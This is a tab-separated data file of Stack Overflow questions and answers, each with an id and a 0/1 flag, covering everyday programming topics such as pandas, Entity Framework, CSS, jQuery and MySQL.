6325379	0	 <p>Use a server-side language like PHP w/MySQL to write a text file or XML file that Flash can understand. in turn, when sending variables use ActionScript to send the variables to a PHP form parser that loads it to the server.</p> <p>I don't have any examples to show you right now, but that would certainly be a workaround to getting FlashCon or some other product, and you can get started right away. Check out some XML and PHP code sites -- you'll probably run into someone who has already solved your problem.</p>
26790364	0	 <p>In C++, there is no type "string". Try to use container class std::string with <code>&lt;string&gt;</code> header.</p>
16870247	1	Is there an open source spider/crawler that supports build-in javascript execution <p>Nowadays most of web pages contain javascript, but I don't find any open source spider that supports build-in javascript execution.</p> <p>Is there such one crawler?</p>
24671557	0	 <p>Try using <code>GNU Parallel</code> like this... it will split <code>file.xml</code> into chunks of 1MB (or thereabouts on nearest new line) and pass each chunk to one CPU core to run <code>grep</code>, so not only should it work, but it should work faster too:</p> <pre><code>parallel --pipe grep -o xmltag &lt; file.xml | wc -l </code></pre>
3823662	0	Changing Inherited Types in Entity Framework <p>I see there is a similar question asked here but I don't think it was very clear so I'm creating another : <a href="http://stackoverflow.com/questions/1239504/entity-framework-inheritance-change-object-type">http://stackoverflow.com/questions/1239504/entity-framework-inheritance-change-object-type</a></p> <p>I have an Entity Student that inherits from an Entity Person.</p> <p>At some point a Person could become a Student.</p> <p>Is there any way in Entity Framework 4 to handle this without a stored procedure or creating a new entity.</p>
25695061	0	 <p>change <code>.profileList</code> to this:</p> <pre><code>.profileList { display: inline-block; width: 50%; vertical-align:top; } </code></pre> <p>when you use <code>inline-block</code>, you need to give it the desired vertical align, since the default is <code>baseline</code></p>
16893364	0	 <p>Using matplotlib to export to TIFF will use PIL anyway. As far as I know, matplotlib has native support only for PNG, and uses PIL to convert to other file formats. So when you are using matplotlib to export to TIFF, you can use PIL immediately.</p>
8196392	0	 <p>the checkbox isen't centerd it has just a width of 200px because you set the width of all input elements to 200px.</p> <p>so thats why you should specify your input which you wana be 200px width: <code>input[type="text"]</code></p> <p>Example: <a href="http://jsfiddle.net/sY9Fa/1/" rel="nofollow">http://jsfiddle.net/sY9Fa/1/</a></p>
26508675	0	 <p>One problem that I saw : It won't work if you choose : <code>GridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditOnEnter;</code></p>
27040980	0	 <p>The one underlined in red is App Display Name which may be in localized.strings as set in the info.plist. The blue underlined name is the product name, as set in the build settings.</p>
10473155	0	 <p>Rather than using a timer to remove a user, I would use a more conventional approach of having an expiration time for the user (or perhaps their password). That is, when they first register, assign an expiration for 15 minutes after the present time (e.g. in a column <code>ExpirationDate</code> in the user table). In your authentication process, the logic should validate that the user's ID has not expired. </p> <p>The problem with using a timer is that many things can go wrong. For example, if your application restarts, any active timers will be lost. It's very brittle. It's also kind of using a hammer to kill a fly. It's not necessary to ensure that someone's user record is removed immediately from the database after 15 minutes. It's only necessary to make sure they can't authenticate after that time. So make the design match the business purpose in the easiest possible way. If you really want to delete records (rather than, say, give them a chance to try again after resetting a password or something) then you can do this with some external maintenance process.</p>
4854835	0	 <p>My suspicion is that your Linux VM may be thrashing to swap space.</p> <p>Virtual machines are often limited in their allotted RAM. Have you checked whether it's run out? The 'top' command is useful for this. </p> <p>If you're not familiar with 'top', the upper part of its screen shows general memory and CPU use statistics, which may immediately answer your problem. The worst CPU hogs will be at the head of the processes list that takes up the rest of the screen.</p> <p>If you hit '?' whilst it's running, it'll show you the options to sort the process list: you may want to sort it by memory use (either virtual or hard).</p>
19123554	0	 <p>Go to <code>config.php</code> and replace <code>localhost</code> in :</p> <pre><code>$CFG-&gt;wwwroot = 'http://localhost'; </code></pre> <p>With your server's external IP. </p>
26493128	0	clearInterval isn't functioning properly <p>This is my code that auto adds a certain amount "points" or gold every second depending a varable but when that variable variable changes which is done by a button that runs this command to stop the set Interval isn't functioning. Please help me figure this out.</p> <pre><code>function addMiner() { clearInterval(autoClick) if (localStorage.getItem('minercount') &gt; 0) { var autoClick = setInterval(function() { miner() }, 1000); document.getElementById("goldNumber").innerHTML = localStorage.getItem('clickcount'); } } </code></pre>
32197731	0	Is it possible define one-to-many relation in Sql Server and just define and use one side of this relation in entity code first <p>If I defined one-to-many relation foreign-key constraints in Sql Server, Is it possible just define and use it in code-first class definitions in one side? For example suppose I have Library and Book classes. Each Library can has many books but each book belong to one library.</p> <pre><code>public class Book { public Book() { } public int BookId { get; set; } public string BookName { get; set; } public virtual Library Library { get; set; } } public class Library { public Library() { } public int LibraryId { get; set; } public virtual ICollection&lt;Book&gt; Books { get; set; } } </code></pre> <p>If I want always just use this relation from Book side,Can I don't define below line in Library class definition?</p> <pre><code>public virtual ICollection&lt;Book&gt; Books { get; set; } </code></pre>
31419952	1	Adding 2 data frame in python pandas <p>I want to combine 2 seperate data frame of the following shape in Python Pandas:</p> <pre><code>Df1= A B 1 1 2 2 3 4 3 5 6 Df2 = C D 1 a b 2 c d 3 e f </code></pre> <p>I want to have as follows:</p> <pre><code>df = A B C D 1 1 2 a b 2 3 4 c d 3 5 6 e f </code></pre> <p>I am using the following code:</p> <pre><code>dat = df1.join(df2) </code></pre> <p>But problem is that, In my actual data frame there are more than 2 Million rows and for that it takes too long time and consumes huge memory.</p> <p>Is there any way to do it faster and memory efficient?</p> <p>Thank you in advance for helping.</p>
31588927	0	 <blockquote> <p>I got to thinking about when I should await things</p> </blockquote> <p>It's better to always await the result from asynch calls.</p> <p>If you don't await, you <strong>fire &amp; forget</strong>, you don't receive response on your end in both success and error cases.</p>
31832599	0	Future failure in Clojure <p>In Scala a future can fail and this can be found out asynchronously:</p> <pre><code>f onComplete { case Success(_) =&gt; println("Great!") case Failure(t) =&gt; println("An error has occurred: " + t.getMessage) } </code></pre> <p>How would you 'translate' this into Clojure? My reading leads me to believe that the Clojure future/promise model is not as powerful as Scala's, and you can't just catch the failure like this. So what to do instead? </p> <p>A Scala future never needs to be asked for it's value - when it is good and ready it will tell you what happened (including whether it failed - that's the crux of this question). This is what I meant by 'asynchronously'. A Scala future can be in one of three possible states - uncompleted, completed with failure, completed with success.</p> <p>A typical example of a use case in Scala is a remote call that returns a Future[T], where T is the type of what you really want to get back. If the remote JVM is down then after a timeout the <code>case Failure(t)</code> will happen.</p> <p>This is quite a straightforward model to work with. In the question I was asking for a simple alternative. As a side-comment it would be good to hear that Clojure intends to adopt the Scala Futures model at some point.</p>
4668515	0	Problem in eclipse configuring tomcat <p>I have trouble when I want to configure eclipse. This error appears, but I dont know where is my problem. I copied <code>apache-tomcat-7.0.5</code> folder in <code>E:\Java</code> folder, where is java installed.</p> <blockquote> <p>Tomcat requires a Java SDK in order to compile JSP files. Ensure that the JRE preference settings point to an SDK install location.</p> </blockquote>
13324734	0	 <p>Try this:</p> <pre><code>button(:id =&gt; 'submitEnrollmentCmdButtonId').click </code></pre>
33675403	1	pandas python inserting part of a column to a column based on conditions pandas python <p>i have a large dataset that i want to work with , but here i am using a mock dataset:</p> <pre><code>data = {'Block': [1, 1, 1, 1, 1, 1,1,1,1], 'Concentration': [100, 100, 100, 33, 33, 33, 0,0,0], 'Name' : ['A', 'A', 'A', 'A', 'A', 'A', 'PB', 'PB', 'PB'], 'value': [86, 194, 452, 140, 285, 2011, 100, 111, 222 ]} data = DataFrame(data) </code></pre> <p>looks like this:</p> <pre><code>In [12]: data Out[12]: Block Concentration Name value 0 1 100 A 86 1 1 100 A 194 2 1 100 A 452 3 1 33 A 140 4 1 33 A 285 5 1 33 A 2011 6 1 0 PB 100 7 1 0 PB 111 8 1 0 PB 222 </code></pre> <p><strong>there are a total of 24 Blocks, 3 types of concentrations and 5 Names for each Block.</strong> </p> <p>i want for each block to add 3 new '0' concentrations for each Name other than the name 'PB', and then append the values from 'PB' to the newly added '0' concentrations. </p> <p>for the mock dataset here the desired output would be:</p> <pre><code>In [13]: data2 Out[13]: Block Concentration Name value 0 1 100 A 86 1 1 100 A 194 2 1 100 A 452 3 1 33 A 140 4 1 33 A 285 5 1 33 A 2011 6 1 0 A 100 7 1 0 A 111 8 1 0 A 222 9 1 0 PB 100 10 1 0 PB 111 11 1 0 PB 222 </code></pre> <p>my code so far , im able to grab out only the 'PB' rows for each block:</p> <pre><code>def PBvalue(sgrp): PBvalue = sgrp.loc[data['Name']=='PB'].copy() return PBvalue PBvalues = data.groupby(['Block', 'Concentration']).apply(PBvalue) </code></pre> <p>output:</p> <pre><code>In [30]: PBvalues Out[30]: Block Concentration Name value Block Concentration 1 0 6 1 0 PB 100 7 1 0 PB 111 8 1 0 PB 222 </code></pre>
34223229	0	 <p>Your current approach is very inefficient - it's O(N * M) <em>and</em> it creates a list on each iteration.</p> <p>Using a join would be more efficient - I would still use a <code>foreach</code> loop, but separate the querying part from the update part:</p> <pre><code>var pairsToUpdate = from original in vmlist join item in vlist on new { original.SId, original.ParameterId, original.WId } equals new { item.SId, item.ParameterId, item.WId } select new { original, item }; foreach (var pair in pairsToUpdate) { pair.original.Value = pair.item.Value; } </code></pre> <ul> <li>No abuse of <code>Select</code> with side-effects</li> <li>No extra lists created for no good reason</li> <li>More efficient selection of items to update</li> </ul>
6481649	0	 <ul> <li><a href="http://coderay.rubychan.de/download/gem" rel="nofollow">http://coderay.rubychan.de/download/gem</a></li> <li><a href="http://softwaremaniacs.org/soft/highlight/en/" rel="nofollow">http://softwaremaniacs.org/soft/highlight/en/</a></li> <li><a href="http://code.google.com/p/syntaxhighlighter/" rel="nofollow">http://code.google.com/p/syntaxhighlighter/</a></li> </ul> <p>The second one infact does automatic language detection and works completely in the client side.</p>
40804959	0	 <p>Use the Microsoft Resolution of problems.</p> <p>Clean your Solution and Rebuild again.</p>
28959016	0	Why does this assignment and each loop return just 1 attribute and not the entire object I expect? <p>I have a method on my <code>Node</code> model that looks like this:</p> <pre><code> def users_tagged @node = self @tags = @node.user_tag_list @users = @tags.each do |tag| User.find_by email: tag end end </code></pre> <p>What I would like to happen is for the <code>@users</code> object to be a collection of <code>User</code> records, but it simply returns a list of email addresses.</p> <p>This is what this <code>Node</code> object looks like:</p> <pre><code>&gt; n =&gt; #&lt;Node id: 6, name: "10PP Form Video", family_tree_id: 57, user_id: 57, media_id: 118, media_type: "Video", created_at: "2015-03-09 20:57:19", updated_at: "2015-03-09 20:57:19", circa: nil, is_comment: nil&gt; &gt; n.user_tags =&gt; [#&lt;ActsAsTaggableOn::Tag id: 4, name: "gerry@test.com", taggings_count: 1&gt;, #&lt;ActsAsTaggableOn::Tag id: 3, name: "abc@test.com", taggings_count: 1&gt;] [135] pry(main)&gt; n.user_tag_list =&gt; ["gerry@test.com", "abc@test.com"] </code></pre> <p>But when I try to execute that method, this is what I get:</p> <pre><code>&gt; n.users_tagged ActsAsTaggableOn::Tag Load (0.5ms) SELECT "tags".* FROM "tags" INNER JOIN "taggings" ON "tags"."id" = "taggings"."tag_id" WHERE "taggings"."taggable_id" = $1 AND "taggings"."taggable_type" = $2 AND (taggings.context = 'user_tags' AND taggings.tagger_id IS NULL) [["taggable_id", 6], ["taggable_type", "Node"]] User Load (0.4ms) SELECT "users".* FROM "users" WHERE "users"."email" = 'gerry@test.com' LIMIT 1 User Load (0.5ms) SELECT "users".* FROM "users" WHERE "users"."email" = 'abc@test.com' LIMIT 1 =&gt; ["gerry@test.com", "abc@test.com"] </code></pre> <p>Why does it not return the entire record?</p>
30654600	0	 <p>I looked up in several places and concluded that one option for fixing this issue was to call this action only from a hyperlink and include target="_self". I can still add a ng-click attribute on the hyperlink and call code in my angular controller. This is not quite what I wanted to do because I wanted to make the call from my angular controller instead of from the hyperlink, but it will work. </p> <p>The code I used is as follows:</p> <pre><code>using (Html.BeginForm("LogOff", "Account", FormMethod.Post, new { id = "logoutForm" })) { @Html.AntiForgeryToken() &lt;ul data-ng-controller="accountController as acctCtrl"&gt; &lt;li&gt;&lt;a data-ng-click="acctCtrl.logout()" href="javascript:document.getElementById('logoutForm').submit()" target="_self"&gt;Log off&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; } </code></pre>
34366110	0	AltBeacon - reliability issues: "didExitRegion" is frequently called even if a beacon is right besides the android device <p><strong>Brief process of how AltBeacon works in the app:</strong></p> <ul> <li>Detect iBeacon of specified ids (UUID, major/minor id)</li> <li>Run a thread when "didEnterRegion" called (and keep running until the beacon is out of range)</li> <li>When "didExitRegion" called, wait 30 seconds before stop the thread (this is to assure that the beacon is definitely out of the range)</li> <li>Continue to run the thread when "didEnterRegion" called again during the 30 seconds delay and stop the thread, otherwise.</li> </ul> <p><strong>And I found some reliability problems:</strong></p> <blockquote> <ul> <li>"didExitRegion" is frequently called even when a iBeacon is right besides the app.</li> <li>Once "didExitRegion" is called, it takes several seconds, even more than a minute sometimes, to re-scan the iBeacon even with having a<br> very short scanning period setting.</li> </ul> </blockquote> <p>My objective is to run a thread until a beacon is definitely out of a range -- in other words, I would like to secure the high reliability of the app with iBeacon integration. </p> <p>Any suggestions? Am I missing something?</p> <p>Any insight from you will be greatly appreciated!</p> <p>Regards,</p>
1664035	0	 <p>Your Processing code gets "sloppily" parsed and converted into JavaScript. Anything the parser doesn't understand just gets ignored, which means you can freely mix bits of JavaScript code in with your Processing and it will, in general, "just work".</p> <p>Have a look here for more information: <a href="http://processingjs.org/reference/articles/best-pratice" rel="nofollow noreferrer">http://processingjs.org/reference/articles/best-pratice</a></p>
11325699	0	Castle Windsor - How to map Named instance in constructor injection <p>maybe this is easy, but searching it on the internet already give me a head ache</p> <p>here is the problem:</p> <pre><code>interface IValidator { void Validate(object obj); } public class ValidatorA : IValidator { public void Validate(object obj) { } } public class ValidatorB : IValidator { public void Validate(object obj) { } } interface IClassA { } interface IClassB { } public class MyBaseClass { protected IValidator validator; public void Validate() { validator.Validate(this); } } public class ClassA : MyBaseClass, IClassA { //problem: validator should ValidatorA public ClassA(IValidator validator) { } } public class ClassB : MyBaseClass, IClassB { //problem: validator should ValidatorB public ClassB(IValidator validator) { } } public class OtherClass { public OtherClass(IClassA a, IClassB b) { } } //on Main var oc = container.Resolve&lt;OtherClass&gt;(); </code></pre> <p>Any idea? </p> <p><strong>EDIT</strong></p> <p>I registered <code>ValidatorA</code> and <code>ValidatorB</code> with <code>Named</code>, now the problem how Castle Windsor can inject those validator properly to the <code>ClassA</code> and <code>ClassB</code>, is there a way to do that? or is there any better solution?</p> <p>if there is someone think my class design is wrong please, i open for any advice. So far i think it correct. Yes, validator have specific configuration for specific Class. but there are reasons it is abstracted:</p> <ol> <li>Validator is a complex object, sometime should connect to database, so I MUST pass interface instead of implementation to constructor for unit testing reason.</li> <li>No way to use different interface for any of Validator, because the only method that i used is <code>Validate</code></li> <li>I think <code>MyBaseClass.Validate()</code> a common <strong>template method</strong> pattern isn't it?</li> </ol>
33384335	0	 <p>If you need TransformGroup in your RenderTransorm, then StoryboardTargetProperty will be look like </p> <pre><code>RenderTransform.Children[0].Angle </code></pre> <p>If you leave only RotateTransform there, then it will be</p> <pre><code>RenderTransform.Angle </code></pre> <p>In both cases, as you see, we start searching property from <strong>RenderTransform</strong>. </p>
31677972	0	How to use Group By with AND in java codes <p>Trying to get values from my table but having problem with my snytaxes</p> <p>there is wrong type with "Group By" usage with "AND" any help will be apriciated</p> <pre><code>"SELECT " + C_CINSIYET + " FROM " + TABLE_COMPANYS + " WHERE " + C_MARKA + " = '" + companyMarka.getComp_marka() + "'" + " AND " + C_FIRMA + " = '" + companyMarka.getComp_name() + "' GROUP BY " + C_CINSIYET + "AND"+C_FIRMA; </code></pre>
6824151	0	 <p>Go to check LibreOffice project (that already handles these archives), it has parts written in Java, and for sure you could find and use their mecanisms to check for corrupted files.</p> <p>I think you can get the code from here: </p> <p><a href="http://www.libreoffice.org/get-involved/developers/" rel="nofollow">http://www.libreoffice.org/get-involved/developers/</a></p>
19756848	0	 <p>One option that I recommend is to use <a href="http://code.google.com/p/common-schema/" rel="nofollow">common_schema</a> and specifically functions <a href="http://common-schema.googlecode.com/svn/trunk/common_schema/doc/html/get_num_tokens.html" rel="nofollow"><code>get_num_tokens()</code></a> and <a href="http://common-schema.googlecode.com/svn/trunk/common_schema/doc/html/split_token.html" rel="nofollow"><code>split_token()</code></a>, this will help.</p> <p>Here a simple example of the use that you can adapt for your solution:</p> <pre class="lang-sql prettyprint-override"><code>/* CODE FOR DEMONSTRATION PURPOSES */ /* Need to install common_schema - code.google.com/p/common-schema/ */ /* Procedure structure for procedure `explode1` */ /*!50003 DROP PROCEDURE IF EXISTS `explode1` */; DELIMITER $$ CREATE PROCEDURE `explode1`(str varchar(65500), delim VARCHAR(255)) BEGIN DECLARE _iteration, _num_tokens INT UNSIGNED DEFAULT 0; DROP TEMPORARY TABLE IF EXISTS `temp_explode`; CREATE TEMPORARY TABLE `temp_explode` (`id` INT(10) UNSIGNED NOT NULL AUTO_INCREMENT, `word` VARCHAR(200), PRIMARY KEY (`id`)); SET _num_tokens := (SELECT `common_schema`.`get_num_tokens`(str, delim)); WHILE _iteration &lt; _num_tokens DO SET _iteration := _iteration + 1; INSERT INTO `temp_explode` (`word`) SELECT `common_schema`.`split_token`(str, delim, _iteration); END WHILE; SELECT `id`, `word` FROM `temp_explode`; DROP TEMPORARY TABLE IF EXISTS `temp_explode`; END $$ DELIMITER ; /* TEST */ CALL `explode1`('Lorem Ipsum is simply dummy text of the printing and typesetting', CHAR(32)); </code></pre>
819008	0	 <p>Looks like there is no solution to this problem. The bug is aknowleged by microsoft, but its still not fixed in SSRS2008.</p> <p>From the KB article (<a href="http://support.microsoft.com/kb/938943" rel="nofollow noreferrer">http://support.microsoft.com/kb/938943</a>)</p> <blockquote> <p>This behavior occurs because the Subreport control has an implicit KeepTogether property. By design, the KeepTogether property tries to keep content of a subreport on one page. Because of this behavior, the report engine creates blank space on the main report if the subreport does not fit on the same page as the main report. Then, the report engine creates the subreport on a new page.</p> </blockquote> <p>The work around that they list is essentially 'don't use subreports'</p>
12438329	0	 <p>If you're load-balancing, you're going to want the additional license to be the for the same platform as your existing license, because the point of load-balancers is to divide the work between multiple identical systems.</p> <p>If you don't already have dependence on other Magento Enterprise Edition features, I would recommend against getting an Enterprise license if you are considering load-balancing. Because of the way Magento is licensed, you would require an additional Enterprise Edition license for each installation of Magento, and that includes each instance behind a load-balancer.</p> <p>If you are considering expanding your infrastructure to include multiple instances of Magento, it is probably best to contact a Magento sales rep, as they will have more-specific information about licensing restrictions, and may be able to negotiate a package which suits your specific needs.</p>
30922393	0	 <p>Since you're already using jQuery why not go the simple jQuery way of getting the value? </p> <pre><code>$('#serverCount').val(); </code></pre> <p>So typically when I make an ajax call where I'm expecting JSON data back and I'm sending JSON to the server. I would do something like this;</p> <pre><code>$(function() { $('a#serverCount').bind('click', function() { $.ajax({ method: "POST", url: "/url/to/your/server/method", dataType: 'json', data: { serverCount: $('#serverCount').val() } }) .done(function(msgBackFromServer) { alert("Data Sent to server" + msgBackFromServer); }); }); }); </code></pre> <p>now you'll notice the url needs to be a method that can be hit on your server, some sort or page view that you have. I'm not familiar in Flask, but I would imagine it's similar to Django in some ways. </p> <p>Method POST is because your sending data. On your flask server, you should be able to receive JSON and parse it into a Python dictionary (or maybe there is some other flask specific tool). </p> <p>Your response from this view is what is passed back to the .done function of the ajax call. This could be whatever data you want it to be. It will come from flask. I'm sure flask can send it back as a JSON object or it could just be a string. If it's a JSON object you could access different parts of it with the . notation. Something like msgBackFromServer.title or msgBackFromServer.message etc...</p>
16392971	0	 <p>If it takes this long because there are many files in that directory, you could copy the files one by one in a loop. To determine the progress, you could/should simply assume that copying each files takes the same amount of time.</p> <p>Note that you don't want to block the UI for this 7-10 seconds, so you need to copy on a separate non-main thread. Setting the progress bar, like all UI code, needs to be done on the mean thread using:</p> <pre><code>dispatch_async(dispatch_get_main_queue(), ^ { progressBar.progress = numberCopied / (float)totalCount; }); </code></pre> <p>The cast to <code>float</code> gives you slightly (depending on number of files) better accuracy, because a pure <code>int</code> division truncates the remainder.</p>
27808752	0	 <p>Working example here: <a href="http://jsfiddle.net/0vts5291/" rel="nofollow">http://jsfiddle.net/0vts5291/</a></p> <p>HTML</p> <pre><code>&lt;section id=main&gt; &lt;!--populate with images from array--&gt; &lt;p id="photos" class="product_display"&gt; &lt;/section&gt; </code></pre> <p>JS</p> <pre><code>var imageArray = new Array(); imageArray[0]="images/coffee_prod_1.png"; imageArray[1]="images/coffee_prod_2.png"; imageArray[2]="images/coffee_prod_3.png"; imageArray[3]="images/coffee_prod_4.png"; imageArray[4]="images/coffee_prod_5.png"; imageArray[5]="images/coffee_prod_6.png"; imageArray[6]="images/coffee_prod_7.png"; //price array for products var priceArray = ["€11.90", "€12.90", "€13.90", "€14.90", "€15.90", "€16.90", "€17.90"]; function getImage() { var container = document.getElementById("photos"); for (var i = 0; i &lt; imageArray.length; ++i) { var img = new Image(); img.src = imageArray[i]; img.className = "product_details"; img.name = priceArray[i]; img.title = priceArray[i]; container.appendChild(img); } } getImage(); </code></pre>
38369240	0	jQuery set current Date to input type="datetime-local" <p>I have the following html</p> <pre><code>&lt;input type="datetime-local" id="startDate"&gt; </code></pre> <p>with the default format: <code>dd.mm.yyyy mm:hh</code></p> <p>I would like to set it`s default value to the current local time of my client with jQuery.</p> <p>So far I have tried different solutions on this page but nothing worked.</p> <p>For example</p> <pre><code>$("#startDate").val(new Date().getTime() / 1000 | 1); $("#startDate").val(new Date().toDateString()); </code></pre> <p>Can you please help me?</p>
16063214	0	crystal reports - datetime group header does not show time, only date. need to display date AND time <p>I have a crystal report that has a group that references a DATETIME column generated by a SQL Server stored procedure.</p> <p>When I right-click and Format the Group, the Format Editor displays a sample of the field's output, like so:</p> <blockquote> <p>Monday, March 01, 1999 1:23:45PM</p> </blockquote> <p>However, when I preview the report, it only shows as such:</p> <blockquote> <p>Monday, March 01, 1999</p> </blockquote> <p>I need it to display/sort by the time, as well. Once again, the DB column it points to is of type DATETIME.</p> <p>I am running CR 11.5 and SQL Server 2008R2.</p> <p>Any help would be appreciated.</p>
10842479	0	 Current Location refers to programmatically identifying the GPS location of a device, such as an iPhone app requesting information about its current location to display in a map or find nearby places, for example.
29413335	0	 <p>1) create a javascript <code>restaurant</code> class</p> <p>2) give the restaurant class a <code>distanceFrom(lat, long)</code> function</p> <p>3) adapt your factory to return <code>restaurant</code>s rather than <code>object</code>s</p> <p>4) sort list of <code>restaurant</code>s by the <code>distanceFrom</code> function</p> <pre><code>function Restaurant(name, lat, long) { this.name = name; this.lat = lat; this.long = long; this.distanceFrom = function(long_from, lat_from) { return calculateDistanceBetween(this.lat, this.long, lat_from, long_from); } } </code></pre> <p>usage:</p> <pre><code>var myPosition = { lat: 50.0123, long: 49.4321 }; var someRestaurant = new Restaurant('The food', 51.1231, 48.213312); var howFar = someRestaurant.distanceFrom(myPostion.lat, myPosition.long); </code></pre> <p>for a javascript sample of getting distance between two latitude/ logitude pairs, see here: <a href="http://stackoverflow.com/questions/27928/how-do-i-calculate-distance-between-two-latitude-longitude-points">How do I calculate distance between two latitude-longitude points?</a></p>
18397793	0	Read model per bounded context <p>i have a question related to read models in cqrs.</p> <p>Assume we have two bounded contexts: <strong>A</strong> and <strong>B</strong></p> <p>In context <strong>A</strong> we build a readmodel based on the events from context <strong>A</strong>. We have some kind of dao to access the readmodel in A.</p> <p>Now assume that <strong>B</strong> needs the same read model as <strong>A</strong>. As far as i understood, bounded context shouldn't depend on each other. </p> <p>So how can i use the model from A. I see three possiblities to solve this</p> <ol> <li><p>Create an API Module for the read model in A and use this in context B (Would be a dependency between A and B)</p></li> <li><p>Create an seperate read model in context B thats exactly the same as in A (Would result in code duplication)</p></li> <li><p>Create a service facade (REST or SOAP or whatever) in B that is accessible from A to provide the read model (possibly the service doesnt provide exactly the data needed)</p></li> </ol>
23313921	0	 <p>The <code>activate</code> hook is executed when the router enters the route. The template must already be in scope in order to render an item into it. That being said, you can just render the application template first, then render the navbar/sidebar using the <code>renderTemplate</code> hook.</p> <pre><code>App.ApplicationRoute = Ember.Route.extend({ renderTemplate: function(){ this.render(); // render the application template this.render('nav',{ into: 'application', outlet: 'navigation'}); this.render('side',{ into: 'application', outlet: 'sidebar'}); } }); </code></pre> <p><a href="http://emberjs.jsbin.com/lemutisa/1/edit">http://emberjs.jsbin.com/lemutisa/1/edit</a></p> <p>Additionally you could do this all even easier using render in the template</p> <pre><code>&lt;script type="text/x-handlebars"&gt; Appplication {{render 'nav'}} {{render 'side'}} &lt;section id="content"&gt;{{outlet}}&lt;/nav&gt; &lt;/script&gt; </code></pre> <p><a href="http://emberjs.jsbin.com/lemutisa/2/edit">http://emberjs.jsbin.com/lemutisa/2/edit</a></p>
1345050	0	 <pre><code>re.sub(r'^-+|-+$', lambda m: ' '*len(m.group()), '---ab---c-def--') </code></pre> <p>Explanation: the pattern matches 1 or more leading or trailing dashes; the substitution is best performed by a callable, which receives each match object -- so m.group() is the matched substring -- and returns the string that must replace it (as many spaces as there were characters in said substring, in this case).</p>
16184726	0	 <p>The following code:</p> <pre><code>while(i &lt; num_states) { &lt;---------------------- HERE printf("state %d: %s\n", i, states[i]); i--; } </code></pre> <p>You are actually counting down and checking <strong>incorrect</strong> value.</p> <p>Must be:</p> <pre><code> while(i &gt;= 0) </code></pre> <p>Here:</p> <pre><code>while(i &lt; argc) { printf("arg %d: %s\n", i, argv[i]); i--; } </code></pre> <p>The same:</p> <pre><code>while(i &gt;= 0) </code></pre>
38709469	1	No output file when running Python subprocess <p>I'm trying to run a SystemC (C++) executable in a Python script using subprocess.</p> <p>My issue is the following: my SystemC executable should generate an output file, but this is not happening. I'm sure of this because in the same Python script I call the subprocess I try to move the file that should be generated by my SystemC executable to another directory and always get the error:</p> <pre><code>IOError: [Errno 2] No such file or directory: '/home/jechiarelli/Dropbox/Mestrado/Codigos/Plataformas/tlmdt-traffic_genenerator/trace.vci' </code></pre> <p>Here's my code:</p> <pre><code>#!/usr/bin/python import os import sys import subprocess from shutil import move tgPath = '/home/jechiarelli/Dropbox/Mestrado/Codigos/Plataformas/tlmdt-traffic_genenerator/' sintSeriesPath = '/home/jechiarelli/Dropbox/Mestrado/Dados/series/aggregated_througput/sintetico/' vciPath = '/home/jechiarelli/Dropbox/Mestrado/Dados/vci/' tgExe = tgPath + 'simulation.x' tgOutput = tgPath + 'trace.vci' appName = sys.argv[1] inputs = [s for s in os.listdir(sintSeriesPath) if appName in s] for i in inputs: subprocess.call([tgExe, sintSeriesPath + i, i.split('agg')[-1]], shell = True) if 'mwm' in i: move(tgOutput, vciPath + 'tlmdt-tg-' + appName + '_mwm_' + i.split('agg')[-1] + '.vci') else: move(tgOutput, vciPath + 'tlmdt-tg-' + appName + '_arfima_' + i.split('agg')[-1] + '.vci') </code></pre> <p>Obs.: when I run the SystemC executable directly in the command line the output file is generated correctly. </p>
19111947	0	 <p>There are double quotes in</p> <pre><code>$mail-&gt;Host = "smtp.gmail.com"; // SMTP server </code></pre> <p>Please remove the double quotes.</p> <pre><code>$mail-&gt;Host = 'smtp.gmail.com'; // SMTP server </code></pre>
9093419	0	Accessing a variable from a file through a file that is required in said first file <p>I have an osCommerce-shop where I need to access a variable from inside an included php-file. For the sake of simplicity here is a short example of what I am talking about without anything related to osCommerce:</p> <p>The file inside.php shows a picture and is only displayed on the homepage by being somehow required in index.php. Depending on what language has been selected it should show either picture 1 or 2. Currently only the first picture is displayed because I have no way of knowing which one should be used. Normally there is a $language_id variable which I can check if it is either 1 (english) or 2 (german). Unfortunately $language_id in inside.php is empty (or at least it looks like it) so I need a way to access the variable from index.php. Is there a way to do this without passing this variable or something like that? (Since it is a osCommerce-shop I am not sure how I could to that)</p> <p>I hope what I tried to explain is somewhat understandable, if not, please ask and I'll try to clarify.</p>
40928579	0	Count all same comma separated value in one column mysql <p>I have 2 table and there's a column which contains comma separated value and I want to count all same value of that column, here's the sample table:</p> <pre><code>Client table ID | Name | Procedure 1 | Joe | Samp1,Samp2 2 | Doe | Samp1,Samp2,Samp3 3 | Noe | Samp1,Samp2 Desire Output Summary table ( For Procedure ) ID | NAME | COUNT 1 | Samp1 | 3 2 | Samp2 | 3 3 | Samp3 | 1 </code></pre> <p>Now, do you have any idea or suggestion so i can make it happen ? like add new table or is this possible with single query ?</p>
28322202	0	 <p>Just use the following intent :</p> <pre><code>Intent intent = new Intent(Intent.ACTION_VIEW); intent.setData(Uri.parse("google.navigation:///?q=48.649469,-2.02579&amp;mode=w")); startActivity(intent); </code></pre> <ul> <li>q=48.649469,-2.02579 : Saint-Malo latitude and longitude</li> <li>mode=w : walking</li> </ul> <p>Other modes available are :</p> <ul> <li>d for driving</li> <li>r for public transportations</li> <li>b for bicycling</li> </ul>
39980114	0	 <p>PyCharm recognizes the limited scope of the variable (inside the function) and refactoring behaves slightly different in this case - the usual refactoring dialogue no longer opens up.</p> <p>The green background (in your example, the actual colour may differ depending on the color scheme and customisations) for all the variable's instances inside the function indicates pycharm is in this local refactoring mode. Just edit the variable name and you'll see all the variable instances being modified simultaneously. Press <kbd>Enter</kbd> when done and the green background disappears indicating that the local refactoring mode ended.</p>
15617144	0	 <p>You either want to use <code>union all</code> or <code>cross join</code>. Use <code>union all</code> to get the results in two rows. Use <code>cross join</code> to get the results in two columns on the same row.</p> <p>Here is an example for the <code>cross join</code>:</p> <pre><code>select sumcep, sumcepout from (SELECT SUM(tutar) as sumcep FROM cepbank WHERE tarih &gt;= DATE(NOW()) ) t cross join (SELECT SUM(tutar) as sumcepout FROM cepbank_out WHERE tarih &gt;= DATE(NOW()) ) t2 </code></pre>
